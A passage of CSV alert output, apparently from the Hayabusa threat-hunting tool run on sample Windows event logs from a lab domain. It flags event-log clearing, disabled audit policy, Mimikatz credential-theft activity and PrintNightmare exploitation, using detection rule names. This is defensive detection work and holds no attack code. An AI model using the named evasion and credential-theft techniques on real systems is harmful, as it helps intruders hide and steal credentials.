log cleared.evtx +2021-10-26 03:11:10.481 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.481 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.497 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.528 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.747 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.763 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.778 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.794 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.809 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.856 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.934 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.997 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.028 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.091 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.106 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.184 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.200 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.216 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.247 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.341 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.388 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.403 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.450 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.559 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.575 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.622 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.700 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.747 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.778 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.825 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.841 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.856 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.872 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.888 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.903 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:11.997 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.059 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.075 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.106 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.153 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.184 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:12.247 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:21:02.504 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1016-System Network Configuration Discovery/ID4688-Audit policy enumerated.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-27 19:09:16.280 +09:00,fs03vuln.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:12:47.151 +09:00,fs03vuln.offsec.lan,4674,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,5142-Mimikatz print spool privileges requested.evtx" +2021-10-27 19:12:47.229 +09:00,fs03vuln.offsec.lan,5142,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,5142-Mimikatz print spool privileges requested.evtx" +2021-10-27 19:12:47.323 +09:00,fs03vuln.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:21.369 +09:00,fs03vuln.offsec.lan,302,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:21.369 +09:00,fs03vuln.offsec.lan,849,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:21.369 +09:00,fs03vuln.offsec.lan,301,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:27.403 +09:00,fs03vuln.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:27.403 +09:00,fs03vuln.offsec.lan,4674,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,5142-Mimikatz print spool privileges requested.evtx" +2021-10-27 19:14:27.466 +09:00,fs03vuln.offsec.lan,848,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:27.466 +09:00,fs03vuln.offsec.lan,5142,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,5142-Mimikatz print spool privileges requested.evtx" +2021-10-27 19:14:27.559 +09:00,fs03vuln.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:27.559 +09:00,fs03vuln.offsec.lan,300,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:28:26.260 +09:00,FS03.offsec.lan,354,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID354-808-Mimispool printer installation (PrintNightmare).evtx +2021-10-27 19:28:26.260 +09:00,FS03.offsec.lan,354,critical,Mimikatz 